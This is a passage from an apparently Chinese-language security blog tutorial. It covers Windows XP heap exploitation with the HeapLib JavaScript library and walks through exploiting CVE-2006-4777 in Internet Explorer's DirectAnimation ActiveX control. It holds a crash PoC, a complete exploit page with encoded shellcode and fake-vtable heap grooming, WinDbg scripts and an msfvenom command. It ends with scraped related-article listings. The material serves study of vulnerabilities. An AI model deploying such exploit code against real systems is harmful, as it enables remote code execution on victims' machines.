heap.debugHeap(true); // 启用内存分配追溯
heap.alloc(128, "foo");
heap.debugBreak(); // 在 WinDbg 中中断
heap.free("foo");
heap.debugHeap(false); // 禁用内存分配追溯
alert("HeapLib done");
</script>
</body>
</html>

在 Windbg 中进行调试(Windows XP SP3):

  1. 使用 Windbg 附加到 IE 浏览器,输入 uf ntdll!RtlAllocateHeap 查看 ntdll!RtlAllocateHeap 函数的 ret 指令的地址,可见为 7c9301bb

  2. 输入 !peb 查看进程默认堆的地址,可见为 0x140000

  3. 由于一开始 IE 浏览器并没有加载 jscript.dll ,所以输入 sxe ld jscript ,当 jscript.dll 文件加载会自动断下来

  4. 继续运行,将上面的例子保存为 .html 拖入 IE 浏览器中(注意同一目录下要有 heapLib.js 文件),点击允许执行之后自动断下

  5. 输入以下命令下断点

    bc *
    bu 7c9301bb "j (poi(esp+4)==0x140000) '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"
    bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x140000) & (poi(esp+c)!=0)) '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';"
    bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe) '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"
    bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"
    bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"
    bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: heapLib breakpoint'"
    bd 0 1
    g

  6. 断下后出现以下信息:

    0:000> g
    DEBUG: Flushing the OLEAUT32 cache
    DEBUG: Running the garbage collector
    DEBUG: Flushing the OLEAUT32 cache
    DEBUG: Hello!
    DEBUG: Enabling heap breakpoints
    alloc(0x80) = 0x197f48
    DEBUG: heapLib breakpoint
    eax=00000001 ebx=01770fc0 ecx=75bddc45 edx=0039b668 esi=01770fc0 edi=0012e1f8
    eip=75c1ceed esp=0012e1d4 ebp=0012e208 iopl=0 nv up ei ng nz ac pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
    jscript!JsAcos:
    75c1ceed 8bff mov edi,edi
    0:000> g
    DEBUG: Flushing the OLEAUT32 cache
    free(0x197f48), size=0x80
    DEBUG: Disabling heap breakpoints

6.3.3 实用函数

​ 这个库还提供了一些函数,可以控制漏洞利用过程中使用到的数据。下面是一个使用 addr() 和 padding() 函数来准备一个伪造虚表块的例子:

var vtable = "";
for (var i = 0; i < 100; i++) {
// 向虚表中添加 100 个 0x0C0C0C0C 地址拷贝
vtable = vtable + heap.addr(0x0C0C0C0C);
}
// 用 "A" 填充虚表,使块大小为 1008 字节
vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2);

6.4 HeapLib 库 API

​ 此部分可参考 heapLib.js 的源码,也可以看文档:br's blog (brant-ruan.github.io)

6.5 使用 HeapLib 库

6.5.1 把内存块释放到 FreeList 中

​ 假设我们发现了一段有漏洞的代码,这个漏洞是代码从堆中分配一个内存块(大小记为 N)并且在没有初始化的情况下就使用了堆中的数据(比如把未初始化的数据当成了函数指针)。如果我们能预先往这个内存块中写上适当的数据,我们就能够利用这个漏洞了。

​ 为了能利用这个漏洞,需要先分配一个大小同样为 N 的内存块,并且往这个内存块中写入数据,然后释放掉这个内存块,那么下一次,也就是有漏洞的代码要求分配空间时,它就会得到我们刚才分配,写入数据并且释放掉的那个内存块

问题

​ 如果我们分配的内存块的相邻的一个内存块是一个空闲块的话,当我们释放这个内存块的时候, 会引发空闲内存块的合并操作,系统会把这 2 个内存块合并成一个大的内存块。这样下一次有漏洞的代码要求分配空间时,它 就不一定会得到刚才分配到的那个内存块了

解决方法

​ 连着分配 3 个大小为 N 的内存块,然后释放掉中间的那个,这样就能保证与被释放的这个内存块相邻的内存块都不是空闲块

heap.alloc(0x2020);             // 分配 3 个连续块
heap.alloc(0x2020, "freeList");
heap.alloc(0x2020);
heap.free("freeList"); // 释放中间的块

6.5.2 堆的去碎片化

exploitation 利用问题

​ 如果在上述我们的 exploitation 运行之初,堆是 “干净的”,即 exploitation 运行之前还没有程序使用过堆中的内存空间,我们就可以严格控制堆中的状态,也就是能保证上面提到的连续分配的 3 个大小为 N 的内存块是紧紧相连的。

​ 但是事实上,我们不知道在 exploitation 运行之前,堆是不是 “干净的”,这就使我们基本上无法确定堆中内存的分配函数(比 如 HeapAlloc())究竟会分配哪块内存给我们。

解决方法

​ 我们需要消除堆中的内存碎片

​ 假设堆中有 X 个等于或者大于 N 的内存碎片,我们可以通过预先分配 X 个 或者多于 X 个大小为 N 的内存块来消除这些内存碎片的影响。当然我们不可能知道这个 X 是几,但是可以假定这个 X 是一 个比较大的数,通过分配很多个大小为 N 的内存块来达到消除内存碎片的目的

举例:设 N==0x2010:

for (var i = 0; i < 1000; i++)
heap.alloc(0x2010);

HeapLib 的解决方法

​ 在 HeapLib 中提供了一个 freelist() 函数,这个函数可以防止空闲堆块合并和实现堆的去碎片化

下面是把一个大小为 0x2020 的内存块释放到 freelist 中去的代码:

heap.freeList(0x2020);

6.5.3 清空 Lookaside 表

​ 一般情况下,lookaside 表中每一个项中只能容纳 4 个内存块,但是在 XP SP2 环境下也见过 lookaside 表中一个项中包含超过 4 个内存块的情况,为了保险起见,连续分配 100 个大小合适的内存块来清空 lookaside 表,下面是示例代码:

for (var i = 0; i < 100; i++)
heap.alloc(0x100);

6.5.4 把内存块释放到 lookaside 表中去

​ 一旦 lookaside 表中的某一项被清空了,那么一旦释放一个大小合适的内存块,这个内存块就会被放到 lookaside 表中去。如下代码所示:

// 清空快表
for (var i = 0; i < 100; i++)
heap.alloc(0x100); // 分配块
heap.alloc(0x100, "foo"); // 释放到快表
heap.free("foo");

​ HeapLib 中提供了一个名为 lookaside() 的函数可以实现清空 Lookaside 并释放内存块到 Lookaside 表中:

// 清空快表
for (var i = 0; i < 100; i++)
heap.alloc(0x100); // 向快表中添加 3 个块
heap.lookaside(0x100);

6.5.5 使用 lookaside 伪造对象的虚函数表

1. 先验知识

​ Lookaside 每一个表项为单链表,最开始的 next 被初始化为 null ,表示这个 Lookaside 链表结尾。使用头插法,每插入一个结点,新结点的 next 指向前一个旧结点,前一个旧结点的 next 不变

​ 若堆的基地址为 0x150000,那么 0x150688 为 Lookaside 表项数组的起始地址,那么与大小为 1008 字节的用户块(加上 HEAP_ENTRY 为 1016 字节)对应的 Looaside 表项为 Lookside[127],该表项位于 0x151e58 ,假设 lookaside 表是空的,所以 0x151e58 这个位置上应该是一个 NULL 指针。

​ 现在,如果我释放一个大小为 1008 字节的用户块,由于 Lookaside 为空,所以这个内存块就直接被链入 Lookaside[127]。 进了 Lookaside 表之后,我们释放的这个用户块的第一个 DWORD 变为一个 NULL (表示这个 Lookaside 链表结尾)。

2. 伪造函数的虚函数表

1)把一个对象指针改成 0x151e58

2)释放一个包含我们伪造的虚函数表的 1008 字节的内存块,该内存块数据如下:

string length 	jmp +124 	addr of jmp ecx 	sub [eax], al*2 	shellcode 	  null terminator

4 bytes 		4 bytes 	124 bytes 			4 bytes 			x bytes 	  2 bytes

3)那么只要程序调用这个对象的虚函数,我们就能获得系统的控制权。

下面即为获取控制权的调用过程

1)在这类漏洞中,对象的指针总被放在 eax 寄存器中,ecx 中一般会放虚函数表的地址

2)在更改对象的虚表指针后,对象后面调用虚函数时可能会 call [ecx+0xnh],n 可能为 8 到 0x80,即第 3 个到第 32 个虚函数

3)此时会跳转到内存块中存放的 124 个字节的 jmp ecx 指令处,执行该指令后跳转到虚表指针处,该处为 4 个全 0 的字节,会被当成 2 条“add [eax], al”指令

4)执行上面两条指令后,执行 jmp +124 指令跳转到 sub [eax],al*2 指令处,执行该指令消除 2 条“add [eax], al”指令的影响

5)执行完上述指令后,开始执行 Shellcode 指令

object pointer 	-->  lookaside  -->  freed block

					(fake object)	 (fake vtable)

addr: xxxx 			addr: 0x151e58 	 addr: yyyy
data: 0x151e58 data: yyyy data: +0 NULL
+4 function pointer
+8 function pointer
... mov ecx, dword ptr [eax] ; get the vtable address
push eax ; pass C++ this pointer as the first argument
call dword ptr [ecx+08h] ; call the function at offset 0x8 in the vtable

在 HeapLib 中提供了一个 vtable() 函数实现了上一过程

6.6 利用 HeapLib 库攻击堆漏洞(CVE-2006-4777)

6.6.1 漏洞描述

​ 这个整形溢出漏洞存在于 ActiveX 控件的 DirectAnimation.PathControl(CVE2006-4777)中。触发条件是用一个大于 0x07ffffff 的数当 KeyFrame()的第一个参数

6.6.2 分析环境

环境 备注
操作系统 Windows XP SP2 版本号:Windows XP Professional SP2
虚拟机 VMware Workstation 版本号:15.5 PRO
调试器 WinDbg 版本号:6.12.0002.633 x86
反汇编器 IDA Pro 版本号:7.7
浏览器 Internet Exploror 版本号:6.0.2900.2180
漏洞模块 daxctle.ocx 版本号:6.3.1.146

6.6.3 KeyFrame() 函数

功能:指定路径上的 x、y 坐标以及到达每个点的时间。第一个点定义了路径的起点。只有当路径停止时,这个方法才能被使用或修改。

函数原型

long __stdcall CPathCtl::KeyFrame(unsigned int npoints,
struct tagVARIANT KeyFrameArray,
struct tagVARIANT TimeFrameArray)

语法规则

KeyFrameArray = Array( x1, y1, ..., xN, yN )  // x1, y1,..., xN, yN 设定路径上点的 x、y 坐标。
TimeFrameArray = Array( time2 , ..., timeN ) // time2,..., timeN 路径上一个点到达下一个点各自所用的时间
pathObj.KeyFrame( npoints, KeyFrameArray, TimeFrameArray )

参数

  • npoints 用来定义路径的点的个数。
  • KeyFrameArray 包含 x、y 坐标定义的数组。
  • TimeFrameArray 包含从 x1、y1 到 xN、yN(路径上最后一组点)所有这些定义了路径的点之间的时间值。路径从 x1、y1 于 0 时刻开始

6.6.4 POC 代码

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script type="text/javascript">
var target = new ActiveXObject("DirectAnimation.PathControl");
target.KeyFrame(0x7fffffff, new Array(1), new Array(1));
</script>
</body>
</html>

6.6.5 漏洞分析

  1. 使用 Windbg 附加到 IE 浏览器,然后运行

  2. 将 poc.html 拖入 IE 浏览器中,此时程序断在 100071e9 处,可以推断该处由于某种溢出或者更改,改变了某个对象虚表指针的值,虚函数被改为一个无法访问的地址,此处为调用虚函数的指令,所以产生了异常

  3. 在 IDA 中打开 daxctle.ocx,查找异常地址:0x100071e9,找到出错的函数 CPathCtl::KeyFrame

    可以看到出错点和推理一致:

  4. 分析其代码如下:

    long __stdcall CPathCtl::KeyFrame(unsigned int npoints,
    struct tagVARIANT KeyFrameArray,
    struct tagVARIANT TimeFrameArray)
    {
    int err = 0;
    ...
    // 开头要判断npoints要大于2
    // new 操作符是对 CMemManager::AllocBuffer 的包装。
    // 如果长度小于 0x2000,它会从 CMemManager 堆分配块,否则它等价于:
    // HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8
    buf_1 = new((npoints*2) * 8);
    buf_2 = new((npoints-1) * 8);
    KeyFrameArray.field_C = new(npoints*4);
    TimeFrameArray.field_C = new(npoints*4);
    if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL ||
    TimeFrameArray.field_C == NULL)
    {
    err = E_OUTOFMEMORY;
    goto cleanup;
    }
    // 如果 KeyFrameArray 长度小于 npoints*2 或者 TimeFrameArray 长度小于 npoints-1,我们将设置一个错误值并转入扫尾代码段
    if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||
    TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)
    {
    err = E_FAIL;
    goto cleanup;
    }
    ... cleanup:
    if (npoints > 0){
    // 我们从 0 遍历到 npoints,对每一个 KeyFrameArray->field_C 和 TimeFrameArray->field_C 的非零元素调用虚函数
    for (i = 0; i < npoints; i++) {
    if (KeyFrameArray.field_C[i] != NULL)
    KeyFrameArray.field_C[i]->func_8();
    if (TimeFrameArray.field_C[i] != NULL)
    TimeFrameArray.field_C[i]->func_8();
    }
    }
    ...
    return err;
    }

    代码解析:

    1)传入的第一个参数是 npoints,接着分别分配 npoints * 16,(npoints - 1) * 8,npoints * 4 大小的四个内存块,注意在这里使用的申请内存空间所用函数为 new

    ​ 这个函数实际调用了 CMemManager::AllocBufferGlb(ulong,ushort),这个函数在 mmutilse.dll 中实现,对该函数进行分析:可以看到该函数调用了 CMemManager::AllocBuffer 函数

    ​ 通过对 CMemManager::AllocBuffer 和 CMemManager::CMemManager 反汇编会发现在这个类初始化的时候它会先建立 10 个堆,大小从 10h 到 2000h。如果不是这些大小比如申请的空间大于 2000h 那么就会在默认堆中分配空间:

    CMemManager::AllocBuffer
    ........
    push ebx
    lea eax, [ebp+var_18]
    push eax
    push edi ; 查找是否与初始化的10个堆空间大小相适应的大小
    call CMemManager::FindHeap(ulong,HEAPHEADER_tag *)
    mov ebx, eax ; 返回适合的内存块序号
    ; 0 10h
    ; 1 20h
    ; 2 40h
    ...........
    push edi ; 如果大小有与预建立的相适合的,就在预建立的堆中申请
    push ebx
    mov ecx, esi
    call CMemManager::AllocFromHeap(int,ulong)
    jmp short loc_619391E0 ; 0:005> dd esi
    ; 预分配的堆共10个
    ; 是否分配 堆对象 大小 个数
    ; 0024a970 00000001 03530000 00000040 00000004
    ; 0024a980 00000001 03540000 00000080 00000000
    ; 0024a990 00000001 03550000 00000100 00000000
    ; 0024a9a0 00000001 03560000 00000200 00000000
    ; 0024a9b0 00000001 03570000 00000400 00000001
    ; 0024a9c0 00000001 03580000 00000800 00000000
    ; 0024a9d0 00000001 035a0000 00001000 00000000
    ; 0024a9e0 00000001 03e50000 00002000 00000000
    ..............如果大小不对则
    loc_619391D1: ; 实际分配的大小+8
    lea eax, [edi+8]
    push eax ; dwBytes
    push 8 ; dwFlags
    push dword ptr [esi+4Ch] ;hHeap
    call ds:HeapAlloc(x,x,x)
    ------------------------------上面的hHeap,这个堆句柄,是在类初始化的时候调用下面代码
    call ds:GetProcessHeap()
    push 10h
    mov ecx, esi
    mov [esi+4Ch], eax ;得到的!

    总结:当我们传入的 npoints*16,(npoints-1)*8,npoints*4 后的大小大于 2000h 最终分配内存执行 HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) 函数从进程默认堆分配内存

    2)如果分配的内存块有一个为空,跳转到 cleanup 处

    ​ 如果分配的大小都不为空,且调用KeyFrame时传入的后两个参数很小,最后跳转到 cleanup 处

    3)cleanup 中代码会挨个检查2个较小的 buffer 中的每一个 DWORD,如果不是 NULL 的话,就把它当成对象指针,并调用对象的虚函数

    4)由于传入的 npoints 为 0x7fffffff,在 npoints * 16 和 (npoints - 1) * 8 后造成整数溢出,所以申请的前两个都为 NULL,在 npoints * 4 过后为 fffffffc 超过了堆管理器处理的最大数据,所以最终调用 NtAllocateVirtualMemory 申请内存,内存里的值未被初始化为0,所以调用虚函数时,会访问到垃圾数据造成访问异常

漏洞成因总结:

​ CPathCtl::KeyFrame 中的参数 npoints 不宜超过 0x40000000,否则会造成整数溢出

6.6.6 漏洞利用

1. Exploit 代码

<html>
<body> <script type="text/javascript" src="heapLib.js"></script>
<script type="text/javascript"> // Create the ActiveX object
var target = new ActiveXObject("DirectAnimation.PathControl"); // Initialize the heap library
var heap = new heapLib.ie(65535,0x140000); // MessageBox shellcode
var shellcode = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100"); // address of jmp ecx instruction in IEXPLORE.EXE
var jmpecx = 0x7FFA61B4; // Build a fake vtable with pointers to the shellcode
var vtable = heap.vtable(shellcode, jmpecx); // Get the address of the lookaside that will point to the vtable
var fakeObjPtr = heap.lookasideAddr(vtable); // Build the heap block with the fake object address
//
// len padding fake obj pointer padding null
// 4 bytes 0x200C-4 bytes 4 bytes 14 bytes 2 bytes var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) +
heap.padding(14/2); heap.gc();
heap.debugHeap(true); // Empty the lookaside
heap.debug("Emptying the lookaside")
for (var i = 0; i < 100; i++)
heap.alloc(vtable) // Put the vtable on the lookaise
heap.debug("Putting the vtable on the lookaside")
heap.lookaside(vtable); // Defragment the heap
heap.debug("Defragmenting the heap with blocks of size 0x2010")
for (var i = 0; i < 100; i++)
heap.alloc(0x2010) // Add the block with the fake object pointer to the free list
heap.debug("Creating two holes of size 0x2020");
heap.freeList(fakeObjChunk, 2); // Trigger the exploit
target.KeyFrame(0x40000801, new Array(1), new Array(1)); // Cleanup
heap.debugHeap(false);
delete heap;
</script>
</body>
</html>

2. 漏洞利用原理

​ 根据前面的分析,该漏洞可以使用伪造虚函数表的方式来进行攻击

  1. 为了利用这个漏洞,我们需要控制 0x200c 字节的缓冲区外的第一个四字

  2. 首先,我们要使用 0x2010 大小的块来清除堆碎片(内存分配器分配的内存是 8 的整数倍,因此 0x200c 向上取整为 0x2010)

  3. 然后我们分配两个 0x2020 字节的内存块,在偏移 0x200c 处写入伪造的对象指针,接着将它们释放到空表中。

  4. 设计传入的 npoints 为 0x40000801,这样由于整数溢出漏洞,申请的四个内存块的大小分别为:0x8018,0x4008,0x200C,0x200C

    当 KeyFrame 函数分配两个 0x200c 字节的缓冲区时,内存分配器将重用我们的 0x2020 字节块,并仅仅将前 0x200c 字节置零

  5. 此时分配的大小都不为空,且调用KeyFrame时传入的后两个参数很小,最后跳转到 cleanup 处

  6. 由于这2个 buffer 在分配时是使用了 HEAP_ZERO_MEMORY 参数的,所以 buffer 中是写满了 NULL 的。但问题是检查的范围是 0 到 npoints(也就是0x40000801),所以这个检查会越界,程序会把 buffer 后面的内存中的数据也当成是 buffer 中的数据进行检查,即他会访问 0x200c之后的数据。

  7. KeyFrame 函数最后扫尾的循环体将遇到偏移 0x200c 处的伪造对象指针,接着会通过它的虚表调用函数。伪造对象指针指向 0x151e58,它正是维护大小为 1008 字节内存块的快表链表头的地址。链表中唯一的项就是我们伪造的虚表

3. 注意事项

1)在 exploit.html 文件中引用了 heapLib.js,所以在实施利用时需要将 heapLib.js 和 exploit.html 放在同一目录下

2)在 heapLib.js 中设置的堆基地址为 0x150000,在实际测试中我们需要以实际的堆基地址为主,经过调试我的环境中 IE 浏览器进程默认堆基地址为 0x140000

3)对于 exploit.html 文件中的 jmp ecx 地址也需要重新查找确定,如下为使用 OllyFindAddr 查找的 jmp ecx 地址

4)对于 shellcode,我使用了 msfvenom -a x86 -p windows/exec cmd=calc.exe -f js_le 生成的弹出计算器的 shellcode

参考

博客

Windows XP sp3 系统安装 Windbg 符号文件 Symbols 时微软失去支持的解决方案 - 墨鱼菜鸡 - 博客园 (cnblogs.com)

Windows 10上的堆溢出漏洞利用 - 安全客,安全资讯平台 (anquanke.com)

Learning Windows pwn -- Nt Heap |诺普的博客 (n0nop.com)

​ [原创]windows10下的堆结构及unlink分析-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [原创][原创]逆向RltAllocateHeap函数分析Windows7堆分配(求邀请码!!!)-¥付费问答-看雪论坛-安全社区|安全招聘|bbs.pediy.com

(93条消息) Heap Spray原理浅析_magictong的博客-CSDN博客

​ [原创] 读后感之“Understanding the LFH”-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Windows系统下典型堆漏洞产生原理及利用方法研究 | Hacked By Fish_o0O (fish-o0o.github.io)

【技术分享】32位下的堆喷射技术-安全客 - 安全资讯平台 (anquanke.com)

【技术分享】IE浏览器漏洞综合利用技术:堆喷射技术-安全客 - 安全资讯平台 (anquanke.com)

br's blog (brant-ruan.github.io)

专业书

​ 《软件调试 第二版 卷2》

​ 《深入解析windows操作系统 下册》

​ 《0day安全:软件漏洞分析技术 第2版》

​ 《Windows高级调试》

​ 《漏洞战争:软件漏洞分析精要》

文档

Windows Heap Exploitation (Win2KSP0 through WinXPS…….ppt (book118.com)

https://illmatics.com/Understanding_the_LFH.pdf

Microsoft PowerPoint - hawkes_ruxcon.ppt (lateralsecurity.com)

Microsoft Word - BHUSA09-McDonald-WindowsHeap-PAPER.doc (blackhat.com)

IJECM

Microsoft Word - Windows 8 Heap Internals_final.docx (illmatics.com)

us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf (blackhat.com)

​ [翻译]Windows XP/2003堆溢出实战-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [翻译]Windows 8堆内部机理-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [翻译]Windows 10 Segment Heap内部机理-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

​ [原创]JavaScript中的堆风水,中英文对照版-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

github:

heaplib/heaplib.js at master · eegeek1986/heaplib · GitHub

Windows堆管理机制 [1] 堆基础的更多相关文章

  1. 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件

    本文背景: 在编程中,很多Windows或C++的内存函数不知道有什么区别,更别谈有效使用:根本的原因是,没有清楚的理解操作系统的内存管理机制,本文企图通过简单的总结描述,结合实例来阐明这个机制. 本 ...

  2. 全面介绍Windows内存管理机制及C++内存分配实例

    转自:http://blog.csdn.net/yeming81/article/details/2046193 本文基本上是windows via c/c++上的内容,笔记做得不错.. 本文背景: ...

  3. Glibc堆管理机制基础

    最近正在学习linux下堆的管理机制,收集了书籍和网络上的资料,以自己的理解做了整理,做个记录.如果有什么不对的地方欢迎指出! Memory Allocator 常见的内存管理机制 dlmalloc: ...

  4. Windows编程中的堆管理(过于底层,一般不用关心)

    摘要: 本文主要对Windows内存管理中的堆管理技术进行讨论,并简要介绍了堆的创建.内存块的分配与再分配.堆的撤销以及new和delete操作符的使用等内容. 关键词: 堆:堆管理 1 引言 在大多 ...

  5. 实用算法系列之RT-Thread链表堆管理器

    [导读] 前文描述了栈的基本概念,本文来聊聊堆是怎么会事儿.RT-Thread 在社区广受欢迎,阅读了其内核代码,实现了堆的管理,代码设计很清晰,可读性很好.故一方面了解RT-Thread内核实现,一 ...

  6. 【朝花夕拾】Android性能篇之(六)Android进程管理机制

    前言        Android系统与其他操作系统有个很不一样的地方,就是其他操作系统尽可能移除不再活动的进程,从而尽可能保证多的内存空间,而Android系统却是反其道而行之,尽可能保留进程.An ...

  7. windows 堆管理

    windows堆管理是建立在虚拟内存管理的基础之上的,每个进程都有独立的4GB的虚拟地址空间,其中有2GB的属于用户区,保存的是用户程序的数据和代码,而系统在装载程序时会将这部分内存划分为4个段从低地 ...

  8. Java基础-Java中的堆内存和离堆内存机制

    Java基础-Java中的堆内存和离堆内存机制 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任.

  9. C++内存管理4-Windows编程中的堆管理(转)

    1 引言 在大多数Windows应用程序设计中,都几乎不可避免的要对内存进行操作和管理.在进行大尺寸内存的动态分配时尤其显的重要.本文即主要对内存管理中的堆管理技术进行论述. 堆(Heap)实际是位于 ...

  10. C#内存管理之托管堆与非托管堆( reprint )

    在 .NET Framework 中,内存中的资源(即所有二进制信息的集合)分为“托管资源”和“非托管资源”.托管资源必须接受 .NET Framework 的 CLR (通用语言运行时)的管理(诸如 ...

随机推荐

  1. 阿里OSS文件访问变成下载

    将 ECS 挂载 OSS 多Bucket ,进行文件存储后,发现PDF.图片在浏览器中访问URL,变成了下载,页不是预览. 1. 解决办法,文件类型 application/octet-stream  ...

  2. 提供免费 TPU 的 ControlNet 微调活动来啦

    相信大家已经感受到 AI 绘画的魅力,多多少少也可以自称半个「prompt 小专家」了,而在 AI 绘画的时候 Stable Diffusion 也会出现一些小瑕疵,比如 AI 不是灵魂画「手」,还有 ...

  3. ABAP 获取ALV报表中的数据

    当程序中需要获取某张报表展示的ALV数据,又不想重新写一遍查询逻辑,则可以调用该报表,直接将报表的ALV内表的数据获取到,提高开发效率 "-------------------------- ...

  4. 为什么 Go 和 Rust 语言都舍弃了继承?

    为什么go和rust语言都舍弃了继承? 舍弃了 Class 舍弃或弱化子类型 类的继承是一段儿弯路 OO 发明了继承,然后发现真正有意义的是 interface 的组合(更准确的说,是 Product ...

  5. 在Windows上D盘上安装Docker

    Reference https://www.willh.cn/articles/2022/07/13/1657676401964.html Docker默认安装在C盘: "C:\Progra ...

  6. OKR之剑·实战篇06:OKR致胜法宝-氛围&业绩双轮驱动(下)

    作者:vivo 互联网平台产品研发团队 本文是<OKR 之剑>系列之实战第 6 篇-- 本文介绍团队营造氛围的方法与实践.在业绩方面的探索与输出,在两方面分别总结了一些经验分享给大家. 一 ...

  7. 利用PE工具箱安装WINDOWS系统

    一.   进入PE系统 U盘插入电脑,开机多次按F12(联想F12,华硕ESC,DELL F9,微星F11,大部分都是这样,实在不行就按F2进BIOS改)键进入类似如下图界面,选择U盘启动,(能选UE ...

  8. 红黑树是什么?红黑树 与 B+树区别和应用场景?

    红黑树是什么?怎么实现?应用场景? 红黑树(Red-Black Tree,简称R-B Tree),它一种特殊的二叉树. 意味着它满足二叉查找树的特征:任意一个节点所包含的键值,大于等于左孩子的键值,小 ...

  9. 【驱动】SPI驱动分析(五)-模拟SPI驱动

    简介 模拟SPI驱动是一种软件实现的SPI总线驱动.在没有硬件SPI控制器的系统中,通过软件模拟实现SPI总线的功能.它允许在不修改硬件的情况下,通过GPIO(通用输入/输出)引脚模拟SPI总线的通信 ...

  10. 3D编程模式:介绍设计原则

    大家好~本文介绍6个设计原则的定义 系列文章详见: 3D编程模式:开篇 目录 单一职责原则(SRP) 依赖倒置原则(DIP) 接口隔离原则(ISP) 迪米特法则(LoD) 合成复用原则(CARP) 开 ...